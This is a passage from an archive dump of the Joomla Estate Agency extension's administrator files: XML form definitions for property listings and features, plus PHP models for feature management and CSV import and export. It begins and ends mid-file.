$db->Quote($filterState));
				}
			}
		}

		// Filter by search
		if ($search = $this->getState('filter.search'))
		{
			$search = $db->Quote('%' . $db->escape($search, true) .
'%');
			$query->where('f.value LIKE ' . $search);
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'f.id');
		$orderDirn = $this->state->get('list.direction',
'desc');

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		return $query;
	}
}
models/forms/import.xml000064400000001527151165726370011233
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
    <fields
addfieldpath="/administrator/components/com_jea/models/fields">
        <field name="id" type="hidden" />
        <field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
        <field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
            <option value="1">JPUBLISHED</option>
            <option value="0">JUNPUBLISHED</option>
        </field>
        <field name="provider"
type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="import" required="true" />
        <field name="type" type="hidden"
default="import" />
    </fields>
    <fields name="params" />
</form>models/forms/features/08-hotwatertype.xml000064400000001644151165726370014523
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_hotwatertypes">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_HOTWATERTYPE_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/05-amenity.xml000064400000001631151165726370013423
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_amenities">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_AMENITY_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/01-type.xml000064400000001635151165726370012736
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_types">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_PROPERTY_TYPE_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/09-slogan.xml000064400000001630151165726370013243
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_slogans">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_SLOGAN_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/07-heatingtype.xml000064400000001642151165726370014302
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_heatingtypes">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_HEATINGTYPE_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/04-area.xml000064400000001436151165726370012667
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_areas">
	<fieldset name="feature"
addfieldpath="/administrator/components/com_jea/models/fields">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_AREA_LABEL"
			size="50"
		/>

		<field
			name="town_id"
			type="featureList"
			subtype="towns"
			label="COM_JEA_FIELD_TOWN_LABEL"
			class="inputbox"
			filter="intval"
		/>

		<field
			name="ordering"
			type="hidden"
		/>
	</fieldset>

	<fields name="filter">
		<field
			name="town_id"
			type="featurelist"
			noajax="noajax"
			subtype="towns"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
models/forms/features/06-condition.xml000064400000001634151165726370013747
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_conditions">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_CONDITION_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
		>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fields name="filter">
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
</form>
models/forms/features/03-town.xml000064400000001445151165726370012745
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_towns">
	<fieldset name="feature"
addfieldpath="/administrator/components/com_jea/models/fields">
		<field name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_TOWN_LABEL"
			size="50"
		/>

		<field
			name="department_id"
			type="featureList"
			subtype="departments"
			label="COM_JEA_FIELD_DEPARTMENT_LABEL"
			filter="intval"
		/>

		<field
			name="ordering"
			type="hidden"
		/>
	</fieldset>

	<fields name="filter">
		<field
			name="department_id"
			type="featurelist"
			noajax="noajax"
			subtype="departments"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
models/forms/features/02-department.xml000064400000000664151165726370014122
0ustar00<?xml version="1.0" encoding="UTF-8"?>
<form table="#__jea_departments">
	<fieldset name="feature">
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="value"
			type="text"
			label="COM_JEA_FIELD_DEPARTMENT_LABEL"
			size="50"
		/>

		<field
			name="ordering"
			type="hidden"
		/>
	</fieldset>
</form>
models/forms/export.xml000064400000001430151165726370011233
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fields
addfieldpath="/administrator/components/com_jea/models/fields">
		<field name="id" type="hidden" />
		<field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
		<field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
		</field>
		<field name="provider" type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="export" required="true" />
		<field name="type" type="hidden"
default="export" />
	</fields>
	<fields name="params" />
</form>models/forms/filter_properties.xml000064400000002625151165726440013460
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			label="JSEARCH_FILTER_LABEL"
			hint="COM_JEA_PROPERTIES_SEARCH_FILTER_DESC"
		/>

		<field
			name="transaction_type"
			type="list"
			label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
			onchange="this.form.submit();"
		>
			<option
value="">COM_JEA_FIELD_TRANSACTION_TYPE_LABEL</option>
			<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
			<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
		</field>

		<field
			name="type_id"
			type="featurelist"
			subtype="types"
			onchange="this.form.submit();"
		/>

		<field
			name="department_id"
			type="featurelist"
			noajax="noajax"
			subtype="departments"
			onchange="this.form.submit();"
		/>

		<field
			name="town_id"
			type="featurelist"
			noajax="noajax"
			subtype="towns"
			onchange="this.form.submit();"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/filter_featurelist.xml000064400000000620151165726440013604
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			label="JSEARCH_FILTER_LABEL"
		/>
	</fields>

	<fields name="list">
		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			onchange="this.form.submit();"
		/>
	</fields>
</form>models/forms/gateway.xml000064400000001401151165726440011347
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fields
addfieldpath="/administrator/components/com_jea/models/fields">
		<field name="id" type="hidden" />
		<field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
		<field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
		</field>
		<field name="provider" type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="" required="true" />
		<field name="type" type="hidden" />
	</fields>
	<fields name="params" />
</form>models/forms/import-jea.xml000064400000000746151165726440011770
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fieldset name="params">
		<field name="jea_version" type="list"
default="1.x" label="COM_JEA_FIELD_JEA_VERSION_LABEL"
description="COM_JEA_FIELD_JEA_VERSION_DESC" >
			<option value="1.x">1.x</option>
			<option value="2.x">2.x</option>
		</field>

		<field name="joomla_path" type="text"
default="" label="COM_JEA_FIELD_JOOMLA_PATH_LABEL"
description="COM_JEA_FIELD_JOOMLA_PATH_DESC"
class="inputbox" size="60" />

	</fieldset>
</form>
models/forms/property.xml000064400000020405151165726440011577
0ustar00<?xml version="1.0" encoding="UTF-8"?>

<form>
	<fieldset
addfieldpath="/administrator/components/com_jea/models/fields">
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>

		<field
			name="ref"
			type="text"
			label="COM_JEA_FIELD_REF_LABEL"
			description="COM_JEA_FIELD_REF_DESC"
			size="10"
		/>

		<field
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="JFIELD_TITLE_DESC"
			class="input-xxlarge input-large-text"
			size="40"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			hint="JFIELD_ALIAS_PLACEHOLDER"
			size="40"
		/>

		<field
			name="transaction_type"
			type="list"
			label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
			required="true"
		>
			<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
			<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
		</field>

		<field
			name="type_id"
			type="featureList"
			subtype="types"
			label="COM_JEA_FIELD_PROPERTY_TYPE_LABEL"
			required="true"
			filter="intval"
		/>

		<field
			name="amenities"
			type="amenities"
			class="amenity"
		/>

		<field
			name="images"
			type="gallery"
		/>

		<field
			name="description"
			type="editor"
			label="JGLOBAL_DESCRIPTION"
			filter="JComponentHelper::filterText"
			buttons="true"
		/>
		
		<field
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			filter="intval"
			size="1"
			default="1"
			class="chzn-color-state"
		>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_JEA_FIELD_LANGUAGE_DESC"
			
		>
			<option value="*">JALL</option>
		</field>

		<field 
			name="featured" 
			type="radio"
			label="JFEATURED"
			description="COM_JEA_FIELD_FEATURED_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="slogan_id"
			type="featureList"
			subtype="slogans"
			label="COM_JEA_FIELD_SLOGAN_LABEL"
			filter="intval"
		/>

		<field
			name="rules"
			type="rules"
			label="JFIELD_RULES_LABEL"
			translate_label="false"
			filter="rules"
			component="com_jea"
			section="property"
			validate="rules"
		/>

		<field
			name="notes"
			type="textarea"
			label="COM_JEA_FIELD_NOTES_LABEL"
			description="COM_JEA_FIELD_NOTES_DESC"
			rows="8"
			cols="45"
		/>
	</fieldset>

	<fieldset name="localization">
		<field
			name="address"
			type="text"
			label="COM_JEA_FIELD_ADDRESS_LABEL"
			size="70"
		/>

		<field
			name="zip_code"
			type="text"
			label="COM_JEA_FIELD_ZIP_CODE_LABEL"
			size="5"
		/>

		<field
			name="department_id"
			type="featureList"
			subtype="departments"
			label="COM_JEA_FIELD_DEPARTMENT_LABEL"
			filter="intval"
		/>

		<field
			name="town_id"
			type="featureList"
			subtype="towns"
			label="COM_JEA_FIELD_TOWN_LABEL"
			filter="intval"
		/>

		<field
			name="area_id"
			type="featureList"
			subtype="areas"
			label="COM_JEA_FIELD_AREA_LABEL"
			filter="intval"
		/>

		<field
			name="latitude"
			type="text"
			label="COM_JEA_FIELD_LATITUDE_LABEL"
			class="numberbox"
			size="25"
		/>

		<field
			name="longitude"
			type="text"
			label="COM_JEA_FIELD_LONGITUDE_LABEL"
			class="numberbox"
			size="25"
		/>

		<field
			name="geolocalization"
			type="geolocalization"
			label="COM_JEA_FIELD_GEOLOCALIZATION_LABEL"
		/>
	</fieldset>

	<fieldset name="publication">
		<field
			name="id"
			type="text"
			class="readonly"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
		/>

		<field
			name="hits"
			type="text"
			label="JGLOBAL_HITS"
			description="COM_JEA_FIELD_HITS_DESC"
			class="readonly"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			size="22"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			size="22"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="COM_JEA_FIELD_PUBLISH_UP_LABEL"
			description="COM_JEA_FIELD_PUBLISH_UP_DESC"
			format="%Y-%m-%d %H:%M:%S"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_JEA_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_JEA_FIELD_PUBLISH_DOWN_DESC"
			format="%Y-%m-%d %H:%M:%S"
			size="22"
			filter="user_utc"
		/>

		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="COM_JEA_FIELD_CREATED_BY_DESC"
		/>
	</fieldset>

	<fieldset name="financial_informations"
addfieldpath="/administrator/components/com_jea/models/fields">
		<field
			name="price"
			type="price"
			label="COM_JEA_FIELD_PRICE_LABEL"
			class="numberbox"
			size="10"
		/>

		<field
			name="rate_frequency"
			type="list"
			label="COM_JEA_FIELD_RATE_FREQUENCY_LABEL"
		>
			<option
value="MONTHLY">COM_JEA_OPTION_MONTHLY</option>
			<option
value="WEEKLY">COM_JEA_OPTION_WEEKLY</option>
			<option
value="DAILY">COM_JEA_OPTION_DAILY</option>
		</field>

		<field
			name="charges"
			type="price"
			label="COM_JEA_FIELD_CHARGES_LABEL"
			class="numberbox"
			size="10"
		/>

		<field
			name="fees"
			type="price"
			label="COM_JEA_FIELD_FEES_LABEL"
			class="numberbox"
			size="10"
		/>

		<field
			name="deposit"
			type="price"
			label="COM_JEA_FIELD_DEPOSIT_LABEL"
			class="numberbox"
			size="10"
		/>
	</fieldset>

	<fieldset name="details"
addfieldpath="/administrator/components/com_jea/models/fields">
		<field
			name="living_space"
			type="surface"
			label="COM_JEA_FIELD_LIVING_SPACE_LABEL"
			class="numberbox"
			filter="floatval"
			size="7"
		/>

		<field
			name="land_space"
			type="surface"
			label="COM_JEA_FIELD_LAND_SPACE_LABEL"
			class="numberbox"
			filter="floatval"
			size="7"
		/>

		<field
			name="availability"
			type="calendar"
			label="COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL"
			size="11"
			format="%Y-%m-%d"
			filter="user_utc"
		/>

		<field
			name="condition_id"
			type="featureList"
			subtype="conditions"
			label="COM_JEA_FIELD_CONDITION_LABEL"
			filter="intval"
		/>

		<field
			name="orientation"
			type="list"
			label="COM_JEA_FIELD_ORIENTATION_LABEL"
		>
			<option value="0">JOPTION_DO_NOT_USE</option>
			<option value="N">COM_JEA_OPTION_NORTH</option>
			<option
value="NW">COM_JEA_OPTION_NORTH_WEST</option>
			<option
value="NE">COM_JEA_OPTION_NORTH_EAST</option>
			<option
value="NS">COM_JEA_OPTION_NORTH_SOUTH</option>
			<option value="E">COM_JEA_OPTION_EAST</option>
			<option
value="EW">COM_JEA_OPTION_EAST_WEST</option>
			<option value="W">COM_JEA_OPTION_WEST</option>
			<option value="S">COM_JEA_OPTION_SOUTH</option>
			<option
value="SW">COM_JEA_OPTION_SOUTH_WEST</option>
			<option
value="SE">COM_JEA_OPTION_SOUTH_EAST</option>
		</field>

		<field
			name="floor"
			type="number"
			label="COM_JEA_FIELD_FLOOR_LABEL"
			class="numberbox"
			filter="floatval"
			size="3"
		/>

		<field
			name="floors_number"
			type="number"
			label="COM_JEA_FIELD_FLOORS_NUMBER_LABEL"
			class="numberbox"
			filter="floatval"
			size="3"
		/>

		<field
			name="rooms"
			type="number"
			label="COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL"
			class="numberbox"
			filter="floatval"
			size="3"
		/>

		<field
			name="bedrooms"
			type="number"
			label="COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL"
			class="numberbox"
			filter="intval"
			size="3"
		/>

		<field
			name="bathrooms"
			type="number"
			label="COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL"
			class="numberbox"
			filter="floatval"
			size="3"
		/>

		<field
			name="toilets"
			type="number"
			label="COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL"
			class="numberbox"
			filter="intval"
			size="3"
		/>

		<field
			name="hot_water_type"
			type="featureList"
			subtype="hotwatertypes"
			label="COM_JEA_FIELD_HOTWATERTYPE_LABEL"
			filter="intval"
		/>

		<field
			name="heating_type"
			type="featureList"
			subtype="heatingtypes"
			label="COM_JEA_FIELD_HEATINGTYPE_LABEL"
			filter="intval"
		/>
	</fieldset>
</form>
models/feature.php000064400000006602151165726440010212 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\Folder;

require_once JPATH_COMPONENT . '/tables/features.php';

/**
 * Feature model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelAdmin
 *
 * @since       2.0
 */
class JeaModelFeature extends JModelAdmin
{
	/**
	 * Overrides parent method
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @see JModelForm::getForm()
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$feature = $this->getState('feature.name');
		$formFile = $this->getState('feature.form');
		$form = $this->loadForm('com_jea.feature.' . $feature,
$formFile, array('control' => 'jform',
'load_data' => $loadData));

		$form->setFieldAttribute('ordering', 'filter',
'unset');

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Overrides parent method.
	 *
	 * @return  void
	 *
	 * @see JModelAdmin::populateState()
	 */
	public function populateState()
	{
		/*
		 * Be careful to not call parent::populateState() because this will cause
an
		 * infinite call of this method in JeaModelFeature::getTable()
		 */
		$input = JFactory::getApplication()->input;
		$feature = $input->getCmd('feature');
		$this->setState('feature.name', $feature);

		// Retrieve the feature table params
		$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
		$xmlFiles = Folder::files($xmlPath);

		foreach ($xmlFiles as $filename)
		{
			$matches = array();

			if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
			{
				if ($feature == $matches[1])
				{
					$form = simplexml_load_file($xmlPath . '/' . $filename);
					$this->setState('feature.table', (string)
$form['table']);
					$this->setState('feature.form', $xmlPath . $filename);
				}
			}
		}

		// Get the pk of the record from the request.
		$pk = $input->getInt('id');
		$this->setState($this->getName() . '.id', $pk);
	}

	/**
	 * Overrides parent method
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @see JModelForm::loadFormData()
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data. See
JControllerForm::save()
		$data =
JFactory::getApplication()->getUserState('com_jea.edit.feature.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Overrides parent method
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @see JModel::getTable()
	 */
	public function getTable($name = '', $prefix =
'Table', $options = array())
	{
		static $table;

		if ($table === null)
		{
			$tableName = $this->getState('feature.table');
			$db = JFactory::getDbo();
			$table = new FeaturesFactory($db->escape($tableName), 'id',
$db);
		}

		return $table;
	}
}
models/features.php000064400000006747151165726440010407 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\Folder;

require JPATH_COMPONENT_ADMINISTRATOR . '/tables/features.php';

/**
 * Features model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelLegacy
 *
 * @since       2.0
 */
class JeaModelFeatures extends JModelLegacy
{
	/**
	 * Get the list of features
	 *
	 * @return  array of stdClass objects
	 */
	public function getItems()
	{
		$xmlPath = JPATH_COMPONENT_ADMINISTRATOR .
'/models/forms/features';
		$xmlFiles = Folder::files($xmlPath);
		$items = array();

		foreach ($xmlFiles as $key => $filename)
		{
			$matches = array();

			if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
			{
				$form = simplexml_load_file($xmlPath . '/' . $filename);

				// Generate object
				$feature = new stdClass;
				$feature->id = $key;
				$feature->name = $matches[1];
				$feature->table = (string) $form['table'];
				$feature->language = false;

				// Check if this feature uses language
				$lang =
$form->xpath("//field[@name='language']");

				if (! empty($lang))
				{
					$feature->language = true;
				}

				$items[$feature->name] = $feature;
			}
		}

		return $items;
	}

	/**
	 * Return table data as CSV string
	 *
	 * @param   string  $tableName  The name of the feature table
	 *
	 * @return  string  CSV formatted
	 */
	public function getCSVData($tableName = '')
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*')->from($db->escape($tableName));
		$db->setQuery($query);
		$rows = $db->loadRowList();
		$csv = '';

		foreach ($rows as $row)
		{
			$csv .= JeaHelperUtility::arrayToCSV($row);
		}

		return $csv;
	}

	/**
	 * Import rows from CSV file and return the number of inserted rows
	 *
	 * @param   string  $file       The file path
	 * @param   string  $tableName  The feature table name to insert csv data
	 *
	 * @return  integer  The number of inserted rows
	 */
	public function importFromCSV($file = '', $tableName =
'')
	{
		$row = 0;

		if (($handle = fopen($file, 'r')) !== false)
		{
			$db = JFactory::getDbo();
			$tableName = $db->escape($tableName);
			$table = new FeaturesFactory($tableName, 'id', $db);
			$cols = array_keys($table->getProperties());
			$query = $db->getQuery(true);
			$query->select('*')->from($tableName);
			$db->setQuery($query);
			$ids = $db->loadObjectList('id');

			$query->clear();
			$query->select('ordering')
				->from($tableName)
				->order('ordering DESC');
			$db->setQuery($query);
			$maxOrdering = $db->loadResult();

			if ($maxOrdering == null)
			{
				$maxOrdering = 1;
			}

			while (($data = fgetcsv($handle, 1000, ';',
'"')) !== false)
			{
				$num = count($data);
				$bind = array();

				for ($c = 0; $c < $num; $c ++)
				{
					if (isset($cols[$c]))
					{
						$bind[$cols[$c]] = $data[$c];
					}
				}

				if (isset($bind['id']) &&
isset($ids[$bind['id']]))
				{
					// Load row to update
					$table->load((int) $bind['id']);
				}
				elseif (isset($bind['ordering']))
				{
					$bind['ordering'] = $maxOrdering;
					$maxOrdering ++;
				}

				$table->save($bind, '', 'id');

				// To force new insertion
				$table->id = null;
				$row ++;
			}
		}

		return $row;
	}
}
models/fields/price.php000064400000002613151165726440011125
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Form Field class for JEA.
 * Provides a one line text field with currency symbol
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormFieldText
 *
 * @since       2.0
 */
class JFormFieldPrice extends JFormFieldText
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	protected $type = 'Price';

	/**
	 * Method to change the label
	 *
	 * @param   string  $label  The field label
	 *
	 * @return void
	 */
	public function setLabel($label = '')
	{
		$this->label = $label;
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return string The field input markup.
	 */
	protected function getInput()
	{
		$input = parent::getInput();

		$params = JComponentHelper::getParams('com_jea');
		$symbol_place = $params->get('symbol_place', 1);
		$currency_symbol = $params->get('currency_symbol',
